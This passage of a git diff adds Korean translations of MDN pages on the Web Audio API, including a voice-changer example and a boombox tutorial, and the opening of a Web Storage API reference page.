+<p>오디오 워커는 <a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">web worker</a> 컨텍스트 내에서 스크립팅된 오디오 처리를 관리하기 위한 기능을 제공하며, 두어가지 인터페이스로 정의되어 있습니다(2014년 8월 29일 새로운 기능이 추가되었습니다). 이는 아직 모든 브라우저에서 구현되지 않았습니다. 구현된 브라우저에서는 <a href="#Audio_processing_via_JavaScript">Audio processing in JavaScript</a>에서 설명된 {{domxref("ScriptProcessorNode")}}를 포함한 다른 기능을 대체합니다.</p>
+
+<dl>
+ <dt>{{domxref("AudioWorkerNode")}}</dt>
+ <dd><strong><code>AudioWorkerNode</code></strong> 인터페이스는 워커 쓰레드와 상호작용하여 오디오를 직접 생성, 처리, 분석하는 {{domxref("AudioNode")}}를 나타냅니다. </dd>
+ <dt>{{domxref("AudioWorkerGlobalScope")}}</dt>
+ <dd><strong><code>AudioWorkerGlobalScope</code></strong> 인터페이스는 <strong><code>DedicatedWorkerGlobalScope</code></strong> 에서 파생된 오디오 처리 스크립트가 실행되는 워커 컨텍스트를 나타내는 객체입니다. 이것은 워커 쓰레드 내에서 자바스크립트를 이용하여 직접 오디오 데이터를 생성, 처리, 분석할 수 있도록 설계되었습니다.</dd>
+ <dt>{{domxref("AudioProcessEvent")}}</dt>
+ <dd>이것은 처리를 수행하기 위해 {{domxref("AudioWorkerGlobalScope")}} 오브젝트로 전달되는 <code>Event</code> 오브젝트입니다.</dd>
+</dl>
+
+<h2 id="Example" name="Example">Obsolete interfaces</h2>
+
+<p>The following interfaces were defined in old versions of the Web Audio API spec, but are now obsolete and have been replaced by other interfaces.</p>
+
+<dl>
+ <dt>{{domxref("JavaScriptNode")}}</dt>
+ <dd>Used for direct audio processing via JavaScript. This interface is obsolete, and has been replaced by {{domxref("ScriptProcessorNode")}}.</dd>
+ <dt>{{domxref("WaveTableNode")}}</dt>
+ <dd>Used to define a periodic waveform. This interface is obsolete, and has been replaced by {{domxref("PeriodicWave")}}.</dd>
+</dl>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<p>This example shows a wide variety of Web Audio API functions being used. You can see this code in action on the <a href="https://mdn.github.io/voice-change-o-matic/">Voice-change-o-matic</a> demo (also check out the <a href="https://github.com/mdn/voice-change-o-matic">full source code at Github</a>) — this is an experimental voice changer toy demo; keep your speakers turned down low when you use it, at least to start!</p>
+
+<p>The Web Audio API lines are highlighted; if you want to find out more about what the different methods, etc. do, have a search around the reference pages.</p>
+
+<pre class="brush: js; highlight:[1,2,9,10,11,12,36,37,38,39,40,41,62,63,72,114,115,121,123,124,125,147,151] notranslate">var audioCtx = new (window.AudioContext || window.webkitAudioContext)(); // define audio context
+// Webkit/blink browsers need prefix, Safari won't work without window.
+
+var voiceSelect = document.getElementById("voice"); // select box for selecting voice effect options
+var visualSelect = document.getElementById("visual"); // select box for selecting audio visualization options
+var mute = document.querySelector('.mute'); // mute button
+var drawVisual; // requestAnimationFrame
+
+var analyser = audioCtx.createAnalyser();
+var distortion = audioCtx.createWaveShaper();
+var gainNode = audioCtx.createGain();
+var biquadFilter = audioCtx.createBiquadFilter();
+
+function makeDistortionCurve(amount) { // function to make curve shape for distortion/wave shaper node to use
+  var k = typeof amount === 'number' ? amount : 50,
+    n_samples = 44100,
+    curve = new Float32Array(n_samples),
+    deg = Math.PI / 180,
+    i = 0,
+    x;
+  for ( ; i &lt; n_samples; ++i ) {
+    x = i * 2 / n_samples - 1;
+    curve[i] = ( 3 + k ) * x * 20 * deg / ( Math.PI + k * Math.abs(x) );
+  }
+  return curve;
+};
+
+navigator.getUserMedia (
+  // constraints - only audio needed for this app
+  {
+    audio: true
+  },
+
+  // Success callback
+  function(stream) {
+    source = audioCtx.createMediaStreamSource(stream);
+    source.connect(analyser);
+    analyser.connect(distortion);
+    distortion.connect(biquadFilter);
+    biquadFilter.connect(gainNode);
+    gainNode.connect(audioCtx.destination); // connecting the different audio graph nodes together
+
+    visualize(stream);
+    voiceChange();
+
+  },
+
+  // Error callback
+  function(err) {
+    console.log('The following gUM error occured: ' + err);
+  }
+);
+
+function visualize(stream) {
+  WIDTH = canvas.width;
+  HEIGHT = canvas.height;
+
+  var visualSetting = visualSelect.value;
+  console.log(visualSetting);
+
+  if(visualSetting == "sinewave") {
+    analyser.fftSize = 2048;
+    var bufferLength = analyser.frequencyBinCount; // half the FFT value
+    var dataArray = new Uint8Array(bufferLength); // create an array to store the data
+
+    canvasCtx.clearRect(0, 0, WIDTH, HEIGHT);
+
+    function draw() {
+
+      drawVisual = requestAnimationFrame(draw);
+
+      analyser.getByteTimeDomainData(dataArray); // get waveform data and put it into the array created above
+
+      canvasCtx.fillStyle = 'rgb(200, 200, 200)'; // draw wave with canvas
+      canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);
+
+      canvasCtx.lineWidth = 2;
+      canvasCtx.strokeStyle = 'rgb(0, 0, 0)';
+
+      canvasCtx.beginPath();
+
+      var sliceWidth = WIDTH * 1.0 / bufferLength;
+      var x = 0;
+
+      for(var i = 0; i &lt; bufferLength; i++) {
+
+        var v = dataArray[i] / 128.0;
+        var y = v * HEIGHT/2;
+
+        if(i === 0) {
+          canvasCtx.moveTo(x, y);
+        } else {
+          canvasCtx.lineTo(x, y);
+        }
+
+        x += sliceWidth;
+      }
+
+      canvasCtx.lineTo(canvas.width, canvas.height/2);
+      canvasCtx.stroke();
+    };
+
+    draw();
+
+  } else if(visualSetting == "off") {
+    canvasCtx.clearRect(0, 0, WIDTH, HEIGHT);
+    canvasCtx.fillStyle = "red";
+    canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);
+  }
+
+}
+
+function voiceChange() {
+  distortion.curve = new Float32Array;
+  biquadFilter.gain.value = 0; // reset the effects each time the voiceChange function is run
+
+  var voiceSetting = voiceSelect.value;
+  console.log(voiceSetting);
+
+  if(voiceSetting == "distortion") {
+    distortion.curve = makeDistortionCurve(400); // apply distortion to sound using waveshaper node
+  } else if(voiceSetting == "biquad") {
+    biquadFilter.type = "lowshelf";
+    biquadFilter.frequency.value = 1000;
+    biquadFilter.gain.value = 25; // apply lowshelf filter to sounds using biquad
+  } else if(voiceSetting == "off") {
+    console.log("Voice settings turned off"); // do nothing, as off option was chosen
+  }
+
+}
+
+// event listeners to change visualize and voice settings
+
+visualSelect.onchange = function() {
+  window.cancelAnimationFrame(drawVisual);
+  visualize(stream);
+}
+
+voiceSelect.onchange = function() {
+  voiceChange();
+}
+
+mute.onclick = voiceMute;
+
+function voiceMute() { // toggle to mute and unmute sound
+  if(mute.id == "") {
+    gainNode.gain.value = 0; // gain set to 0 to mute sound
+    mute.id = "activated";
+    mute.innerHTML = "Unmute";
+  } else {
+    gainNode.gain.value = 1; // gain set to 1 to unmute sound
+    mute.id = "";
+    mute.innerHTML = "Mute";
+  }
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>14 {{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>23</td>
+   <td>{{CompatNo}}</td>
+   <td>15 {{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>6 {{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>28 {{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>25</td>
+   <td>1.2</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>6 {{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API">Visualizations with Web Audio API</a></li>
+ <li><a href="http://mdn.github.io/voice-change-o-matic/">Voice-change-O-matic example</a></li>
+ <li><a href="http://mdn.github.io/violent-theremin/">Violent Theremin example</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Web_audio_spatialisation_basics">Web audio spatialisation basics</a></li>
+ <li><a href="http://www.html5rocks.com/tutorials/webaudio/positional_audio/" title="http://www.html5rocks.com/tutorials/webaudio/positional_audio/">Mixing Positional Audio and WebGL</a></li>
+ <li><a href="http://www.html5rocks.com/tutorials/webaudio/games/" title="http://www.html5rocks.com/tutorials/webaudio/games/">Developing Game Audio with the Web Audio API</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Porting_webkitAudioContext_code_to_standards_based_AudioContext" title="/en-US/docs/Web_Audio_API/Porting_webkitAudioContext_code_to_standards_based_AudioContext">Porting webkitAudioContext code to standards based AudioContext</a></li>
+ <li><a href="https://github.com/bit101/tones">Tones</a>: a simple library for playing specific tones/notes using the Web Audio API.</li>
+ <li><a href="https://github.com/goldfire/howler.js/">howler.js</a>: a JS audio library that defaults to <a href="https://dvcs.w3.org/hg/audio/raw-file/tip/webaudio/specification.html">Web Audio API</a> and falls back to <a href="http://www.whatwg.org/specs/web-apps/current-work/#the-audio-element">HTML5 Audio</a>, as well as providing other useful features.</li>
+ <li><a href="https://github.com/mattlima/mooog">Mooog</a>: jQuery-style chaining of AudioNodes, mixer-style sends/returns, and more.</li>
+</ul>
+
+<section id="Quick_Links">
+<h3 id="Quicklinks">Quicklinks</h3>
+
+<ol>
+ <li data-default-state="open"><strong><a href="#">Guides</a></strong>
+
+  <ol>
+   <li><a href="/en-US/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API">Basic concepts behind Web Audio API</a></li>
+   <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+   <li><a href="/en-US/docs/Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API">Visualizations with Web Audio API</a></li>
+   <li><a href="/en-US/docs/Web/API/Web_Audio_API/Web_audio_spatialization_basics">Web audio spatialization basics</a></li>
+   <li><a href="/en-US/docs/Web/API/Web_Audio_API/Porting_webkitAudioContext_code_to_standards_based_AudioContext" title="/en-US/docs/Web_Audio_API/Porting_webkitAudioContext_code_to_standards_based_AudioContext">Porting webkitAudioContext code to standards based AudioContext</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><strong><a href="#">Examples</a></strong>
+  <ol>
+   <li><a href="/en-US/docs/Web/API/Web_Audio_API/Simple_synth">Simple synth keyboard</a></li>
+   <li><a href="http://mdn.github.io/voice-change-o-matic/">Voice-change-O-matic</a></li>
+   <li><a href="http://mdn.github.io/violent-theremin/">Violent Theremin</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><strong><a href="#">Interfaces</a></strong>
+  <ol>
+   <li>{{domxref("AnalyserNode")}}</li>
+   <li>{{domxref("AudioBuffer")}}</li>
+   <li>{{domxref("AudioBufferSourceNode")}}</li>
+   <li>{{domxref("AudioContext")}}</li>
+   <li>{{domxref("AudioDestinationNode")}}</li>
+   <li>{{domxref("AudioListener")}}</li>
+   <li>{{domxref("AudioNode")}}</li>
+   <li>{{domxref("AudioParam")}}</li>
+   <li>{{event("audioprocess")}} (event)</li>
+   <li>{{domxref("AudioProcessingEvent")}}</li>
+   <li>{{domxref("BiquadFilterNode")}}</li>
+   <li>{{domxref("ChannelMergerNode")}}</li>
+   <li>{{domxref("ChannelSplitterNode")}}</li>
+   <li>{{event("complete")}} (event)</li>
+   <li>{{domxref("ConvolverNode")}}</li>
+   <li>{{domxref("DelayNode")}}</li>
+   <li>{{domxref("DynamicsCompressorNode")}}</li>
+   <li>{{event("ended_(Web_Audio)", "ended")}} (event)</li>
+   <li>{{domxref("GainNode")}}</li>
+   <li>{{domxref("MediaElementAudioSourceNode")}}</li>
+   <li>{{domxref("MediaStreamAudioDestinationNode")}}</li>
+   <li>{{domxref("MediaStreamAudioSourceNode")}}</li>
+   <li>{{domxref("OfflineAudioCompletionEvent")}}</li>
+   <li>{{domxref("OfflineAudioContext")}}</li>
+   <li>{{domxref("OscillatorNode")}}</li>
+   <li>{{domxref("PannerNode")}}</li>
+   <li>{{domxref("PeriodicWave")}}</li>
+   <li>{{domxref("ScriptProcessorNode")}}</li>
+   <li>{{domxref("WaveShaperNode")}}</li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/ko/web/api/web_audio_api/using_web_audio_api/index.html b/files/ko/web/api/web_audio_api/using_web_audio_api/index.html
new file mode 100644
index 0000000000..3b64b5809c
--- /dev/null
+++ b/files/ko/web/api/web_audio_api/using_web_audio_api/index.html
@@ -0,0 +1,238 @@
+---
+title: Using the Web Audio API
+slug: Web/API/Web_Audio_API/Using_Web_Audio_API
+translation_of: Web/API/Web_Audio_API/Using_Web_Audio_API
+---
+<div>{{DefaultAPISidebar("Web Audio API")}}</div>
+
+<p class="summary" id="webaudioapibasics"><span class="seoSummary">Let's take a look at getting started with the <a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a>. We'll briefly look at some concepts, then study a simple boombox example that allows us to load an audio track, play and pause it, and change its volume and stereo panning.</span></p>
+
+<p>The Web Audio API does not replace the {{HTMLElement("audio")}} media element, but rather complements it, just like {{HTMLElement("canvas")}} coexists alongside the {{HTMLElement("img")}} element. Your use case will determine what tools you use to implement audio. If you simply want to control playback of an audio track, the <code>&lt;audio&gt;</code> media element provides a better, quicker solution than the Web Audio API. If you want to carry out more complex audio processing, as well as playback, the Web Audio API provides much more power and control.</p>
+
+<p>A powerful feature of the Web Audio API is that it does not have a strict "sound call limitation". For example, there is no ceiling of 32 or 64 sound calls at one time. Some processors may be capable of playing more than 1,000 simultaneous sounds without stuttering.</p>
+
+<h2 id="Example_code">Example code</h2>
+
+<p>Our boombox looks like this:</p>
+
+<p><img alt="A boombox with play, pan, and volume controls" src="https://mdn.mozillademos.org/files/16197/boombox.png" style="border-style: solid; border-width: 1px; height: 646px; width: 1200px;"></p>
+
+<p>플레이 버튼과 볼륨조절 버튼 그리고 스테레오 패닝(Stereo panning)을 위한 슬라이더가 있는 레트로 카세트덱이 있습니다. 카세트덱을 이것보다 더 복잡하게 만들 수 있겠지만 이 단계에서는 이정도로 학습을 하는데에는 충분합니다.</p>
+
+<p><a href="https://codepen.io/Rumyra/pen/qyMzqN/">Check out the final demo here on Codepen</a>, or see the <a href="https://github.com/mdn/webaudio-examples/tree/master/audio-basics">source code on GitHub</a>.</p>
+
+<h2 id="Browser_support">Browser support</h2>
+
+<p>현대의 브라우저들은 Web Audio API에 대한 대부분의 기능들을 제공합니다. API의 여러 특징(features)이 있지만 더 정확한 정보는 각 페이지의 아래에 있는 브라우저 호환 테이블(the browser compatibility tables)을 확인하세요.</p>
+
+<h2 id="Audio_graphs">Audio graphs</h2>
+
+<p>Everything within the Web Audio API is based around the concept of an audio graph, which is made up of nodes.</p>
+
+<p>The Web Audio API handles audio operations inside an <strong>audio context</strong>, and has been designed to allow <strong>modular routing</strong>. Basic audio operations are performed with <strong>audio nodes</strong>, which are linked together to form an <strong>audio routing graph</strong>. You have input nodes, which are the source of the sounds you are manipulating, modification nodes that change those sounds as desired, and output nodes (destinations), which allow you to save or hear those sounds.</p>
+
+<p>Several audio sources with different channel layouts are supported, even within a single context. Because of this modular design, you can create complex audio functions with dynamic effects.</p>
+
+<h2 id="Audio_context">Audio context</h2>
+
+<p>To be able to do anything with the Web Audio API, we need to create an instance of the audio context. This then gives us access to all the features and functionality of the API.</p>
+
+<pre class="brush: js">// for legacy browsers
+const AudioContext = window.AudioContext || window.webkitAudioContext;
+
+const audioContext = new AudioContext();
+</pre>
+
+<p>So what's going on when we do this? A {{domxref("BaseAudioContext")}} is created for us automatically and extended to an online audio context. We'll want this because we're looking to play live sound.</p>
+
+<div class="note">
+<p><strong>Note</strong>: If you just want to process audio data, for instance, buffer and stream it but not play it, you might want to look into creating an {{domxref("OfflineAudioContext")}}.</p>
+</div>
+
+<h2 id="Loading_sound">Loading sound</h2>
+
+<p>Now, the audio context we've created needs some sound to play through it. There are a few ways to do this with the API. Let's begin with a simple method — as we have a boombox, we most likely want to play a full song track. Also, for accessibility, it's nice to expose that track in the DOM. We'll expose the song on the page using an {{htmlelement("audio")}} element.</p>
+
+<pre class="brush: html">&lt;audio src="myCoolTrack.mp3" type="audio/mpeg"&gt;&lt;/audio&gt;
+</pre>
+
+<div class="note">
+<p><strong>Note</strong>: If the sound file you're loading is held on a different domain you will need to use the <code>crossorigin</code> attribute; see <a href="/en-US/docs/Web/HTTP/CORS">Cross Origin Resource Sharing (CORS)</a>  for more information.</p>
+</div>
+
+<p>To use all the nice things we get with the Web Audio API, we need to grab the source from this element and <em>pipe</em> it into the context we have created. Lucky for us there's a method that allows us to do just that — {{domxref("AudioContext.createMediaElementSource")}}:</p>
+
+<pre class="brush: js">// get the audio element
+const audioElement = document.querySelector('audio');
+
+// pass it into the audio context
+const track = audioContext.createMediaElementSource(audioElement);
+</pre>
+
+<div class="note">
+<p><strong>Note</strong>: The <code>&lt;audio&gt;</code> element above is represented in the DOM by an object of type {{domxref("HTMLMediaElement")}}, which comes with its own set of functionality. All of this has stayed intact; we are merely allowing the sound to be available to the Web Audio API.</p>
+</div>
+
+<h2 id="Controlling_sound">Controlling sound</h2>
+
+<p>When playing sound on the web, it's important to allow the user to control it. Depending on the use case, there's a myriad of options, but we'll provide functionality to play/pause the sound, alter the track's volume, and pan it from left to right.</p>
+
+<p>Controlling sound programmatically from JavaScript code is covered by browsers' autoplay support policies, as such is likely to be blocked without permission being granted by the user (or a whitelist). Autoplay policies typically require either explicit permission or a user engagement with the page before scripts can trigger audio to play.</p>
+
+<p>These special requirements are in place essentially because unexpected sounds can be annoying and intrusive, and can cause accessibility problems. You can learn more about this in our article <a href="/en-US/docs/Web/Media/Autoplay_guide">Autoplay guide for media and Web Audio APIs</a>.</p>
+
+<p>Since our scripts are playing audio in response to a user input event (a click on a play button, for instance), we're in good shape and should have no problems from autoplay blocking. So, let's start by taking a look at our play and pause functionality. We have a play button that changes to a pause button when the track is playing:</p>
+
+<pre class="brush: html">&lt;button data-playing="false" role="switch" aria-checked="false"&gt;
+    &lt;span&gt;Play/Pause&lt;/span&gt;
+&lt;/button&gt;
+</pre>
+
+<p>Before we can play our track we need to connect our audio graph from the audio source/input node to the destination.</p>
+
+<p>We've already created an input node by passing our audio element into the API. For the most part, you don't need to create an output node, you can just connect your other nodes to {{domxref("BaseAudioContext.destination")}}, which handles the situation for you:</p>
+
+<pre class="brush: js">track.connect(audioContext.destination);
+</pre>
+
+<p>A good way to visualise these nodes is by drawing an audio graph so you can visualize it. This is what our current audio graph looks like:</p>
+
+<p><img alt="an audio graph with an audio element source connected to the default destination" src="https://mdn.mozillademos.org/files/16195/graph1.jpg" style="border-style: solid; border-width: 1px; height: 486px; width: 1426px;"></p>
+
+<p>Now we can add the play and pause functionality.</p>
+
+<pre class="brush: js">// select our play button
+const playButton = document.querySelector('button');
+
+playButton.addEventListener('click', function() {
+
+    // check if context is in suspended state (autoplay policy)
+    if (audioContext.state === 'suspended') {
+        audioContext.resume();
+    }
+
+    // play or pause track depending on state
+    if (this.dataset.playing === 'false') {
+        audioElement.play();
+        this.dataset.playing = 'true';
+    } else if (this.dataset.playing === 'true') {
+        audioElement.pause();
+        this.dataset.playing = 'false';
+    }
+
+}, false);
+</pre>
+
+<p>We also need to take into account what to do when the track finishes playing. Our <code>HTMLMediaElement</code> fires an <code>ended</code> event once it's finished playing, so we can listen for that and run code accordingly:</p>
+
+<pre class="brush: js">audioElement.addEventListener('ended', () =&gt; {
+    playButton.dataset.playing = 'false';
+}, false);
+</pre>
+
+<h2 id="Modifying_sound">Modifying sound</h2>
+
+<p>Let's delve into some basic modification nodes, to change the sound that we have. This is where the Web Audio API really starts to come in handy. First of all, let's change the volume. This can be done using a {{domxref("GainNode")}}, which represents how big our sound wave is.</p>
+
+<p>There are two ways you can create nodes with the Web Audio API. You can use the factory method on the context itself (e.g. <code>audioContext.createGain()</code>) or via a constructor of the node (e.g. <code>new GainNode()</code>). We'll use the factory method in our code:</p>
+
+<pre class="brush: js">const gainNode = audioContext.createGain();
+</pre>
+
+<p>Now we have to update our audio graph from before, so the input is connected to the gain, then the gain node is connected to the destination:</p>
+
+<pre class="brush: js">track.connect(gainNode).connect(audioContext.destination);
+</pre>
+
+<p>This will make our audio graph look like this:</p>
+
+<p><img alt="an audio graph with an audio element source, connected to a gain node that modifies the audio source, and then going to the default destination" src="https://mdn.mozillademos.org/files/16196/graph2.jpg" style="border-style: solid; border-width: 1px; height: 550px; width: 1774px;"></p>
+
+<p>The default value for gain is 1; this keeps the current volume the same. Gain can be set to a minimum of about -3.4 and a max of about 3.4. Here we'll allow the boombox to move the gain up to 2 (double the original volume) and down to 0 (this will effectively mute our sound).</p>
+
+<p>Let's give the user control to do this — we'll use a <a href="/en-US/docs/Web/HTML/Element/input/range">range input</a>:</p>
+
+<pre class="brush: html">&lt;input type="range" id="volume" min="0" max="2" value="1" step="0.01"&gt;
+</pre>
+
+<div class="note">
+<p><strong>Note</strong>: Range inputs are a really handy input type for updating values on audio nodes. You can specify a range's values and use them directly with the audio node's parameters.</p>
+</div>
+
+<p>So let's grab this input's value and update the gain value when the input node has its value changed by the user:</p>
+
+<pre class="brush: js">const volumeControl = document.querySelector('#volume');
+
+volumeControl.addEventListener('input', function() {
+    gainNode.gain.value = this.value;
+}, false);
+</pre>
+
+<div class="note">
+<p><strong>Note</strong>: The values of node objects (e.g. <code>GainNode.gain</code>) are not simple values; they are actually objects of type {{domxref("AudioParam")}} — these called parameters. This is why we have to set <code>GainNode.gain</code>'s <code>value</code> property, rather than just setting the value on <code>gain</code> directly. This enables them to be much more flexible, allowing for passing the parameter a specific set of values to change between over a set period of time, for example.</p>
+</div>
+
+<p>Great, now the user can update the track's volume! The gain node is the perfect node to use if you want to add mute functionality.</p>
+
+<h2 id="Adding_stereo_panning_to_our_app">Adding stereo panning to our app</h2>
+
+<p>Let's add another modification node to practise what we've just learnt.</p>
+
+<p>There's a {{domxref("StereoPannerNode")}} node, which changes the balance of the sound between the left and right speakers, if the user has stereo capabilities.</p>
+
+<p>Note: The <code>StereoPannerNode</code> is for simple cases in which you just want stereo panning from left to right. There is also a {{domxref("PannerNode")}}, which allows for a great deal of control over 3D space, or sound <em>spatialisation</em>, for creating more complex effects. This is used in games and 3D apps to create birds flying overhead, or sound coming from behind the user for instance.</p>
+
+<p>To visualise it, we will be making our audio graph look like this:</p>
+
+<p><img alt="An image showing the audio graph showing an input node, two modification nodes (a gain node and a stereo panner node) and a destination node." src="https://mdn.mozillademos.org/files/16229/graphPan.jpg" style="border-style: solid; border-width: 1px; height: 532px; width: 2236px;"></p>
+
+<p>Let's use the constructor method of creating a node this time. When we do it this way, we have to pass in the context and any options that that particular node may take:</p>
+
+<pre class="brush: js">const pannerOptions = { pan: 0 };
+const panner = new StereoPannerNode(audioContext, pannerOptions);
+</pre>
+
+<div class="note">
+<p><strong>Note</strong>: The constructor method of creating nodes is not supported by all browsers at this time. The older factory methods are supported more widely.</p>
+</div>
+
+<p>Here our values range from -1 (far left) and 1 (far right). Again let's use a range type input to vary this parameter:</p>
+
+<pre class="brush: html">&lt;input type="range" id="panner" min="-1" max="1" value="0" step="0.01"&gt;
+</pre>
+
+<p>We use the values from that input to adjust our panner values in the same way as we did before:</p>
+
+<pre class="brush: js">const pannerControl = document.querySelector('#panner');
+
+pannerControl.addEventListener('input', function() {
+    panner.pan.value = this.value;
+}, false);
+</pre>
+
+<p>Let's adjust our audio graph again, to connect all the nodes together:</p>
+
+<pre class="brush: js">track.connect(gainNode).connect(panner).connect(audioContext.destination);
+</pre>
+
+<p>The only thing left to do is give the app a try: <a href="https://codepen.io/Rumyra/pen/qyMzqN/">Check out the final demo here on Codepen</a>.</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>Great! We have a boombox that plays our 'tape', and we can adjust the volume and stereo panning, giving us a fairly basic working audio graph.</p>
+
+<p>This makes up quite a few basics that you would need to start to add audio to your website or web app. There's a lot more functionality to the Web Audio API, but once you've grasped the concept of nodes and putting your audio graph together, we can move on to looking at more complex functionality.</p>
+
+<h2 id="More_examples">More examples</h2>
+
+<p>There are other examples available to learn more about the Web Audio API.</p>
+
+<p>The <a href="https://github.com/mdn/voice-change-o-matic">Voice-change-O-matic</a> is a fun voice manipulator and sound visualization web app that allows you to choose different effects and visualizations. The application is fairly rudimentary, but it demonstrates the simultaneous use of multiple Web Audio API features. (<a href="https://mdn.github.io/voice-change-o-matic/">run the Voice-change-O-matic live</a>).</p>
+
+<p><img alt="A UI with a sound wave being shown, and options for choosing voice effects and visualizations." src="https://mdn.mozillademos.org/files/7921/voice-change-o-matic.png" style="border-style: solid; border-width: 1px; display: block; height: 500px; margin: 0px auto; width: 640px;"></p>
+
+<p>Another application developed specifically to demonstrate the Web Audio API is the <a href="http://mdn.github.io/violent-theremin/">Violent Theremin</a>, a simple web application that allows you to change pitch and volume by moving your mouse pointer. It also provides a psychedelic lightshow (<a href="https://github.com/mdn/violent-theremin">see Violent Theremin source code</a>).</p>
+
+<p><img alt="A page full of rainbow colours, with two buttons labeled Clear screen and mute. " src="https://mdn.mozillademos.org/files/7919/violent-theremin.png" style="border-style: solid; border-width: 1px; display: block; height: 458px; margin: 0px auto; width: 640px;"></p>
+
+<p>Also see our <a href="https://github.com/mdn/webaudio-examples">webaudio-examples repo</a> for more examples.</p>
diff --git a/files/ko/web/api/web_storage_api/index.html b/files/ko/web/api/web_storage_api/index.html
new file mode 100644
index 0000000000..68af357a42
--- /dev/null
+++ b/files/ko/web/api/web_storage_api/index.html
@@ -0,0 +1,117 @@
+---
+title: Web Storage API
+slug: Web/API/Web_Storage_API
+tags:
+  - API
+  - Reference
+  - Storage
+  - Web Storage
+  - Web Storage API
+  - localStorage
+  - sessionStorage
+  - 로컬스토리지
+  - 세션스토리지
+  - 웹 스토리지
+translation_of: Web/API/Web_Storage_API
+---
+<div>{{DefaultAPISidebar("Web Storage API")}}</div>
+
+<p><strong>Web Storage API</strong>는 브라우저에서 키/값 쌍을 {{glossary("cookie", "쿠키")}}보다 훨씬 직관적으로 저장할 수 있는 방법을 제공합니다.</p>
+
+<h2 id="Web_Storage_개념과_사용법">Web Storage 개념과 사용법</h2>
+
+<p>Web Storage의 두 가지 방식은 다음과 같습니다.</p>
+
+<ul>
+ <li><code>sessionStorage</code>는 각각의 {{glossary("origin", "출처")}}에 대해 독립적인 저장 공간을 페이지 세션이 유지되는 동안(브라우저가 열려있는 동안) 제공합니다.
+
+  <ul>
+   <li>세션에 한정해, 즉 브라우저 또는 탭이 닫힐 때까지만 데이터를 저장합니다.</li>
+   <li>데이터를 절대 서버로 전송하지 않습니다.</li>
+   <li>저장 공간이 쿠키보다 큽니다. (최대 5MB)</li>
+  </ul>
+ </li>
+ <li><code>localStorage</code>도 위와 같지만, 브라우저를 닫았다 열어도 데이터가 남아있습니다.
+  <ul>
+   <li>유효기간 없이 데이터를 저장하고, JavaScript를 사용하거나 브라우저 캐시 또는 로컬 저장 데이터를 지워야만 사라집니다.</li>
+   <li>저장 공간이 셋 중 제일 큽니다.</li>
+  </ul>
+ </li>
+</ul>
+
+<p>위의 방식은 {{domxref("Window.sessionStorage")}}와 {{domxref("Window.localStorage")}} 속성을 통해 사용할 수 있습니다. (보다 정확히 말하자면, 지원하는 브라우저에서는 <code>Window</code> 객체는 <code>localStorage</code> 및 <code>sessionStorage</code> 속성을 포함한 <code>WindowLocalStorage</code>와 <code>WindowSessionStorage</code> 객체를 구현합니다) 두 속성 중 하나에 접근하면 {{domxref("Storage")}} 객체의 인스턴스를 생성하게 되고, 그걸 사용해 데이터 항목을 추가, 회수, 제거할 수 있습니다. <code>sessionStorage</code>와 <code>localStorage</code>의 <code>Storage</code> 객체는 각각의 출처별로 다른 것을 사용하며 서로 독립적으로 기능합니다.</p>
+
+<div class="note">
+<p><strong>참고</strong>: Firefox 45 이후로는, 과도한 Web Storage 사용으로 인한 메모리 문제를 피하기 위해 브라우저가 충돌하거나 재시작할 때의 출처 당 저장 공간이 10MB로 제한됩니다.</p>
+</div>
+
+<div class="note">
+<p><strong>참고</strong>: 사용자가 <a href="https://support.mozilla.org/en-US/kb/disable-third-party-cookies">서드 파티 쿠키를 비활성화</a>한 경우 서드 파티 IFrame에서 Web Storage에 접근할 수 없습니다. Firefox는 43부터 이 동작을 사용합니다.</p>
+</div>
+
+<h2 id="Web_Storage_인터페이스">Web Storage 인터페이스</h2>
+
+<dl>
+ <dt>{{domxref("Storage")}}</dt>
